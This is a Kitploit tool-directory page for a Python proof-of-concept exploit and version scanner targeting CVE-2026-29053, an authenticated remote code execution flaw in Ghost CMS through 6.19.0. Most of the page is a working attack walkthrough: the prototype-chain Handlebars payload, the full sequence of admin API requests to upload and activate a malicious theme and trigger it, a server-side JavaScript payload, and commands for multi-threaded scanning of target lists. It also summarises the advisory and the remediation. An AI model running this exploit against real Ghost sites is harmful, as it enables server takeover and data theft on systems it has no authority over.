Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29053 — Python PoC and version scanner for CVE-2026-29053, an authenticated RCE in Ghost CMS below 6.19.1 via malicious Handlebars theme templates. | Kitploit
Tools/GitHubGitHub/k3ystr0k3r/cve-2026-29053
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

Python PoC and version scanner for CVE-2026-29053, an authenticated RCE in Ghost CMS below 6.19.1 via malicious Handlebars theme templates.

1215h 56m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29053 - Ghost CMS < 6.19.0 - Authenticated Remote Code Execution via Malicious Theme

CVE-2026-29053, affects the Ghost content management system built on Node.js. Versions from 0.7.2 to 6.19.0 are susceptible to this issue. A malicious theme can exploit this vulnerability and execute arbitrary code on the server running Ghost. The severity of this vulnerability is high, with a CVSS score of 7.6. This issue has been patched in version 6.19.1. An attacker who successfully exploits this vulnerability can gain unauthorized access to the server and potentially take control of it. They could then use this access to manipulate data, steal sensitive information, or perform other malicious activities. The affected products/services are all versions of Ghost from 0.7.2 to 6.19.0. To mitigate this risk, users should update their Ghost installations to version 6.19.1 or later as soon as possible. This will ensure that the vulnerability is patched and no longer poses a threat. If updating is not feasible at the moment, it's recommended to closely monitor for any new developments in this vulnerability and apply the necessary security measures to protect against potential attacks. This CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, meaning that it has not been actively exploited by threat actors. However, users should still prioritize updating their systems to prevent any potential risks associated with this vulnerability.

A Python PoC for CVE-2026-29053, a Remote Code Execution vulnerability in Ghost CMS caused by specially crafted themes being able to execute arbitrary JavaScript during template rendering.

Affected: Ghost 0.7.2 through 6.19.0 Fixed: Ghost 6.19.1 CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component

CWE:

Ghost's advisory describes the issue as arbitrary code execution through malicious themes.


What is the vulnerability?

Ghost themes use Handlebars templates (.hbs).

A specially crafted template can abuse the way Ghost processes Handlebars expressions and access JavaScript functionality that should not be reachable from a normal theme template.

The important part of the exploit is the template expression:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

The payload is inserted into the template before the malicious theme is packaged.

The resulting template is then uploaded and activated through the Ghost Admin API.

When Ghost subsequently renders the affected template, the injected expression causes the JavaScript payload to execute inside the Ghost server process.


The PoC implements each of these stages directly.

Authentication

The PoC first establishes an authenticated Ghost Admin session.

The relevant endpoint is:

root@kitploit:~
POST /ghost/api/admin/session/

The request generated by the PoC is equivalent to:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost returns the authenticated session cookie.

The PoC checks for HTTP 201 and then continues using the same requests.Session() object.


Theme creation

The exploit creates a ZIP archive containing a minimal Ghost theme.

The important files are:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

The malicious template is written to:

root@kitploit:~
page-rce.hbs

The PoC constructs the archive entirely in memory using Python's zipfile module.

The generated package.json identifies the archive as a Ghost theme:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

Malicious template

The vulnerable portion of the theme is the Handlebars expression inside page-rce.hbs.

The PoC generates:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

The payload is substituted into %PAYLOAD% before the theme is compressed.

Payload

The default PoC uses a file-write payload as a non-destructive proof of code execution.

It generates JavaScript equivalent to:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

This demonstrates that the payload is executing inside the Ghost Node.js process and can access Node.js functionality.

The PoC also contains an optional callback mode for lab environments.


Theme upload

Once the malicious theme has been generated, the PoC sends it to:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

The request is a multipart form upload.

Conceptually:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

The archive contains the malicious .hbs template described above.

The PoC expects HTTP 200 and extracts the returned theme name from the JSON response.


Theme activation

After uploading the theme, the PoC activates it with:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

The activation endpoint is constructed dynamically:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

The exploit stops if Ghost does not return HTTP 200.


Triggering the template

The PoC then creates a published page:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

The code uses the slug:

root@kitploit:~
/rce/

If the page already exists, it attempts to retrieve the existing page instead.

The final trigger is simply:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

This causes Ghost to render the active theme.

The PoC checks the returned HTML for:

root@kitploit:~
CVE-2026-29053 trigger

to confirm that page-rce.hbs was rendered.


Why this results in RCE

The important distinction is that the attacker is not merely injecting HTML into a page.

The malicious input becomes part of a Ghost Handlebars theme template.

The template is subsequently interpreted by Ghost's server-side rendering system.

The crafted expression reaches JavaScript functionality through the prototype/construction chain:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
attacker-controlled JavaScript

The resulting JavaScript executes in the Ghost server process.

The PoC demonstrates this by accessing Node's built-in fs module and writing a file on the server.


Raw request flow

Putting the HTTP interaction together:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── authenticate

2. POST /ghost/api/admin/themes/upload/
   └── upload malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── activate malicious theme

4. POST /ghost/api/admin/pages/
   └── create /rce/

5. GET /rce/
   └── render malicious page-rce.hbs
       └── Handlebars expression
           └── JavaScript execution
               └── OS-level impact

Version check

The PoC also contains a scanner.

It requests:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

The response is parsed for:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

The PoC then compares the version against:

root@kitploit:~
0.7.2 <= version <= 6.19.0

and reports matching versions as vulnerable.

The published advisory specifies the affected range as >= 0.7.2, < 6.19.1, with 6.19.1 as the fixed version.


PoC usage

File-write proof

root@kitploit:~
python3 exploit.py --target http://TARGET

The default proof path is:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

It can be changed with:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

Existing installation

If Ghost setup has already been completed:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

Credentials can be supplied using:

root@kitploit:~
--email
--password

Scanner

Targets can be supplied from a file:

root@kitploit:~
python3 exploit.py --file targets.txt

Thread count:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

The scanner checks the Ghost Admin site endpoint and compares the reported Ghost version against the vulnerable range.


Impact

Successful exploitation allows arbitrary JavaScript execution within the Ghost server process.

Depending on the privileges of the Ghost process and the payload used, this can affect:

  • Confidentiality
  • Integrity
  • Availability

The published CVE record rates the issue as network reachable but requiring high privileges and user interaction, with scope changed.


Remediation

Upgrade Ghost to:

root@kitploit:~
6.19.1+

Ghost's vulnerability advisory identifies 6.19.1 as the patched version.

Do not install untrusted themes.


Disclaimer

This PoC is provided for vulnerability research, authorized penetration testing, and educational purposes.

Download Tool